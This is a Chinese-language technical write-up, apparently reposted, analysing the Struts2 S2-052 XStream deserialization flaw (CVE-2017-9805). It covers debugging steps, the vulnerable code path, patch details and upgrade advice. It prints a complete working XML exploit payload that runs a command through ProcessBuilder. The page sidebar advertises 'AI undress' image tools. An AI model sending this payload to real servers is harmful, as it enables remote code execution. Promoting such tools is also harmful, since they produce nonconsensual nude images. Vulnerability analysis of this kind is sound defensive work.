搜尋
首頁運維安全Struts2-052漏洞範例分析

Struts2-052漏洞範例分析

May 13, 2023 am 11:25 AM
struts2

前言

2017 年9 月5 日,由國外安全研究組織lgtm.com 的安全研究人員發現的嚴重漏洞在Apache Struts 2官方發布,漏洞編號為CVE-2017-9805(S2 -052), 攻擊者可以傳入精心建構的xml數據,遠端指令執行。
Struts2 REST插件的XStream元件有反序列化漏洞,使用XStream元件對XML格式的封包進行反序列化操作時,未對資料內容進行有效驗證,有安全隱患,可由遠端指令執行。
利用條件:使用 REST 外掛程式並在受影響版本範圍內。
利用方式:攻擊者建立惡意資料包遠端利用。
影響版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

調試環境建置

1)下載官方原始碼:
git clone https ://github.com/apache/Struts.git
2)切換到2.5.12分支:
git checkout STRUTS_2_5_12
3) 把來源碼包中src/apps/rest-showcase整個資料夾拷貝出來,新建一個專案
4)用IDEA或eclipse導入該maven專案
5) debug模式運行後就可以愉快的調試了
Struts2-052漏洞範例分析

漏洞原理分析

根據官方公告知道漏洞出現在XstreamHandler 類,在struts2-rest-plugin-2.5.12.jar 套件內。
於是查看該類,該類別中有一個toObject方法,其作用就是對xml內容進行反序列化。
Struts2-052漏洞範例分析
先在此方法內打一個斷點,然後建構資料包
Struts2-052漏洞範例分析
#傳送封包後,會跳到斷點處,此時,看到是上層呼叫棧中是ContentTypeInterceptor呼叫了該方法
Struts2-052漏洞範例分析
ContentTypeInterceptor類別中intercept方法會根據傳入的Content-Type的值產生對應的對象,由於我們傳入的是application/xml,所以對應產生一個xml的處理對象XStreamHandler。
繼續f5,看到執行反序列化的函數unmarshal,在這個函數執行時沒有進行資料安全檢查,導致遠端命令執行。
Struts2-052漏洞範例分析
接著進入unmarshal函數內,繼續往下調試,AbstractReflectionConverter會一步步解析我們提交的xml標籤和值,最終調用poc中代碼
Struts2-052漏洞範例分析

#漏洞復現

在頁面http://localhost:8080//struts2-rest-showcase/orders/3/edit中點擊Submit,
Struts2-052漏洞範例分析##攔截HTTP請求並將請求體改為POC Payload,同時將Content-Type Header改為application/xml。
payload為:

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.nativestring> 
      <flags>0</flags>  
      <value> 
        <datahandler> 
          <datasource> 
            <is> 
              <cipher> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceiterator> 
                  <iter> 
                    <iter></iter>  
                    <next> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirecterrorstream>false</redirecterrorstream> 
                    </next> 
                  </iter>  
                  <filter> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types></parameter-types> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceiterator>  
                <lock></lock> 
              </cipher>  
              <input>  
              <ibuffer></ibuffer>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </datasource>  
          <transferflavors></transferflavors> 
        </datahandler>  
        <datalen>0</datalen> 
      </value> 
    </jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry> 
</map>
發送請求後,彈出計算器


Struts2-052漏洞範例分析

#補丁

官方補丁,官方的修復方案中, 主要就是將xml 中的資料白名單化,把Collection 和Map,一些基礎類,時間類放在白名單中,這樣就能阻止XStream 反序列化的過程中帶入一些有害類

Struts2-052漏洞範例分析

修復建議

Version 2.3.0 to 2.3.33升級到Struts 2.3.34版本

Version 2.5.0 to 2.5.12升級到Struts 2.5.13版本

以上是Struts2-052漏洞範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:亿速云。如有侵權,請聯絡admin@php.cn刪除

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

MantisBT

MantisBT

Mantis是一個易於部署的基於Web的缺陷追蹤工具,用於幫助產品缺陷追蹤。它需要PHP、MySQL和一個Web伺服器。請查看我們的演示和託管服務。

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

VSCode Windows 64位元 下載

VSCode Windows 64位元 下載

微軟推出的免費、功能強大的一款IDE編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用